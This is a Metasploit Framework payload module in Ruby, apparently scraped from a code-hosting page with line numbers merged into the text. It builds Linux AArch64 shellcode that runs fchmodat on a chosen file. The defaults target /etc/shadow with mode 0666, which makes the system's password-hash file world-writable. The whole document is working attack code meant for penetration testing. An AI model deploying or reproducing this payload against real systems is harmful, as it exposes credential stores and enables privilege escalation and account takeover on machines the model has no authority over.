Path: blob/master/modules/payloads/singles/linux/aarch64/chmod.rb
31164 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 4878include Msf::Payload::Single9include Msf::Payload::Linux::Aarch64::Prepends1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Linux Chmod',16'Description' => 'Runs chmod on the specified file with specified mode.',17'Author' => 'bcoles',18'License' => MSF_LICENSE,19'Platform' => 'linux',20'Arch' => ARCH_AARCH64,21'References' => [22['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],23['URL', 'https://github.com/bcoles/shellcode/blob/main/aarch64/chmod/chmod.s'],24]25)26)27register_options([28OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),29OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),30])31end3233# @return [String] the full path of the file to be modified34def chmod_file_path35datastore['FILE'] || ''36end3738# @return [Integer] the desired mode for the file39def mode40(datastore['MODE'] || '0666').oct41rescue StandardError => e42raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"43end4445# @return [Integer] AArch64 instruction to load mode into x2 register46# For example: 0xd28036c2 ; mov x2, #0x1b6 ; loads 0x1b6 (0o666) into x247def chmod_instruction(mode)48(0xd2800000 | ((mode & 0xffff) << 5) | 2)49end5051def generate(_opts = {})52raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF5354shellcode = [550x92800c60, # mov x0, #0xffffffffffffff9c // #-100560x10000101, # adr x1, 40009c <path>57chmod_instruction(mode), # mov x2, <mode>580xd2800003, # mov x3, #0590xd28006a8, # mov x8, #0x35 # __NR_fchmodat600xd4000001, # svc #0610xd2800000, # mov x0, #0620xd2800ba8, # mov x8, #0x5d # __NR_exit630xd4000001 # svc #064].pack('V*')65shellcode += chmod_file_path + "\x00"6667# align our shellcode to 4 bytes68shellcode += "\x00" while shellcode.bytesize % 4 != 06970super.to_s + shellcode71end72end737475